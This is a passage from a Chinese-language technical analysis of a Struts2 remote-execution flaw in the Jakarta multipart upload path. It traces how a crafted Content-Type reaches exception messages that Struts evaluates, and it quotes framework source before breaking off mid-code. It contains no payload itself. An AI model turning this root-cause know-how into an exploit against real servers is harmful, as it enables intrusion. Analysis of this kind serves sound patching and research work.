为了能被action访问到上传的文件,通常会重新封装request,首先进入StrutsPrepareAndExecuteFilter类,这是Struts2默认配置的入口过滤器。在里面可以看到,Struts2首先对输入请求对象request的进行封装: request = prepare.wrapRequest(request); 跟进这条语句,可以看到封装为StrutsRequestWrapper的过程: Dispatcher.java: public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException { // don’t wrap more than once if (request instanceof StrutsRequestWrapper) { return request; } String content_type = request.getContentType(); if (content_type != null && content_type.contains(“multipart/form-data”)) { MultiPartRequest mpr = getMultiPartRequest(); LocaleProvider provider = getContainer().getInstance(LocaleProvider.class); request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider); } else { request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup); } return request; } 关键点1:content_type.contains(“multipart/form-data”),poc会利用到。 关键点2:getMultiPartRequest(),默认返回JakartaMultiPartRequest类,就是默认开启的jakarta上传机制,所以此洞危害巨大。 3.3:异常信息: 既然在Struts里是可以直接执行异常里的错误信息,那么在common upload file 组件的异常里我们看看哪些是会把客户端传递的值作为错误信息返回。 很幸运,我们在FileUploadBase.java中,发现了一个方法(这个FileUploadBase.java文件LSA在2.3.20和2.3.31版本找了很久也没找到,只找到FileUploadBase.class,反编译不完全,不知道网上的高手们在哪里挖出这个文件的) 1.teratorImpl(RequestContext ctx) 2. throws FileUploadException, IOException { 3. if (ctx == null) { 4. throw new NullPointerException(“ctx parameter”); 5. } 6. 7. String contentType = ctx.getContentType(); 8. if ((null == contentType) 9. || (!contentType.toLowerCase(Locale.ENGLISH).startsWith(MULTIPART))) { 10. throw new……